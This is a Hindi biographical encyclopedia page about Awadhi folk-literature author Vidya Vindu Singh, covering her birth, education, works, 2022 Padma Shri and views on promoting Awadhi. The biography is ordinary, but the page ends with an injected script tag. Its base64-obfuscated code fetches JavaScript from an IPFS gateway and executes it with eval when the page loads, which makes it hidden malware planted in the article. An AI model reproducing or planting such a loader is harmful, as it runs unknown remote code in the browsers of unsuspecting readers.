विद्या विंदु सिंह
| |
पूरा नाम | विद्या विंदु सिंह |
जन्म | 2 जुलाई, 1945 |
जन्म भूमि | ग्राम जैतपुर, सोनावाँ, फैजाबाद, उत्तर प्रदेश |
अभिभावक | माता- प्राणदेवी पिता- देवनारायण सिंह |
पति/पत्नी | कृष्णप्रताप सिंह |
कर्म भूमि | भारत |
कर्म-क्षेत्र | लोक साहित्य |
मुख्य रचनाएँ | वधूमेध, सच के पाँव, अमर बल्लरी, काँटों का वन, (हाइकु संग्रह) वापस लौटें नीड़, (दोहा संग्रह) पलछिन, (क्षणिकाएँ) तुमसे ही कहना हैं (भक्तिगीत), हम पत्थर नहीं हुए। |
पुरस्कार-उपाधि | पद्म श्री, 2022 |
प्रसिद्धि | अवधी लोक साहित्यकार |
नागरिकता | भारतीय |
अन्य जानकारी | विद्या विंदु सिंह को सबसे ज्यादा ख्याति लोक साहित्य में मिली। इसमें अवधी भाषा के लोकगीत, मुहावरे, राम से जुड़े कई ऐसे प्रसंग भी हैं जिनको सिर्फ कहा और सुना जाता रहा है। |
अद्यतन | 16:26, 7 फ़रवरी 2022 (IST)
|
इन्हें भी देखें | कवि सूची, साहित्यकार सूची |
विद्या विंदु सिंह (अंग्रेज़ी: Vidya Bindu Singh, जन्म- 2 जुलाई, 1945) लोक साहित्य के क्षेत्र में जाना माना नाम हैं। कहानी, कविता, निबंध, उपन्यास, लोक गीत हर विषय पर उन्होंने अपनी कलम चलाई है, पर सबसे ज्यादा उनको अवधी लोक साहित्य के लिए सराहना मिली है। विद्या विंदु सिंह को सबसे ज्यादा ख्याति लोक साहित्य में मिली। इसमें अवधी भाषा के लोक गीत, मुहावरे, राम से जुड़े कई ऐसे प्रसंग भी हैं जिनको सिर्फ कहा और सुना जाता रहा है। साहित्य में उनके योगदान हेतु उन्हें पद्म श्री, 2022 से सम्मानित किया गया है।
परिचय
डॉ. विद्या विंदु सिंह लोक साहित्य के क्षेत्र में जाना माना नाम हैं। कहानी, कविता, निबंध, उपन्यास, लोकगीत हर विषय पर उन्होंने अपनी कलम चलाई है पर सबसे ज्यादा उनको अवधी लोकसाहित्य के लिए सराहना मिली है। विद्या विंदु सिंह का जन्म फैजाबाद के जैतपुर गांव में 2 जुलाई, 1945 को हुआ था। उन्होंने आगरा विश्वविद्यालय से हिन्दी साहित्य में एमए और काशी हिंदू विश्वविद्यालय से पीएचडी किया। अब तक 118 रचनाएं उनकी प्रकाशित हो चुकी हैं जो हिंदी और अवधी में हैं। कई देशों की यात्राएं कर चुकी हैं।
लोक साहित्य ख्याति
विद्या विंदु सिंह को सबसे ज्यादा ख्याति लोक साहित्य में मिली। इसमें अवधी भाषा के लोकगीत, मुहावरे, राम से जुड़े कई ऐसे प्रसंग भी हैं जिनको सिर्फ कहा और सुना जाता रहा है। उनके लिखे उपन्यासों में अंधेरे के दीप, फूल कली, हिरण्यगर्भा, शिव पुर की गंगा भौजी हैं। वहीं कविता संग्रह में वधुमेव, सच के पांव, अमर वल्लरी, कांटों का वन जैसी रचनाएं हैं। लोक साहित्य से जुड़ी रचनाओं में अवधी लोकगीत का समीक्षात्मक अध्ययन, चंदन चौक, अवधी लोक नृत्य गीत, सीता सुरुजवा क ज्योति, उत्तर प्रदेश की लोक कलाएं जैसी रचनाएं हैं।
पद्म श्री
अवधी भाषा का साहित्य हो या अवधी लोक गीत, राम इसके प्राण हैं। राम ही इसके मुख्य पात्र हैं। अपनी रचनाओं में राम और सीता को सहज भाव से चित्रित करने वालीं, रामकथा के कई अनसुने प्रसंगों को सहेजने वाली हिंदी और अवधी की लेखिका, समीक्षक डॉ. विद्या विंदु सिंह को पद्म श्री, 2022 से नवाजा गया है।
डॉ. विद्या विंदु सिंह की 118 रचनाएं प्रकाशित हैं जिनमें कविता संग्रह, कहानी संग्रह, उपन्यास, लोकगीत संग्रह भी हैं। उन्होंने खास तौर पर अवधी लोक गीतों पर काम किया है। साथ ही सीता के विषय में उनकी रचना 'सीता सुरुजवा क ज्योति' भी बहुत चर्चित रही है। भोजपुरी और मैथिली जैसी भाषाओं को आठवीं अनुसूची में शामिल करने को लेकर डॉ. विद्या सिंह कहती हैं कि किसी भी भाषा या बोली को आंदोलन से आगे नहीं बढ़ाया जा सकता है। इसके लिए जरूरी है कि इस पर काम किया जाए। अवधी या किसी भी दूसरी भाषा को लिखकर, बोलकर या इस पर काम करके ही आगे बढ़ाया जा सकता है।
डॉ. विद्या विंदु सिंह कहती हैं- "मैं किसी बोली या भाषा को आगे बढ़ाने के लिए आंदोलन के पक्ष में नहीं हूं। मैं इसे सही नहीं मानती हूं। जहां तक बात अवधी की है तो ये हिंदी को भी समृद्ध करती है। जिस तरह तुलसीदास ने रामचरितमानस की रचना अवधी ने की है। इस परंपरा का पालन करने वाले लोग ही अवधी को आगे बढ़ा सकते हैं। घर में बच्चों के साथ भी अवधी में बात करें जो कि आमतौर पर लोग घर में नहीं करते हैं।"
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>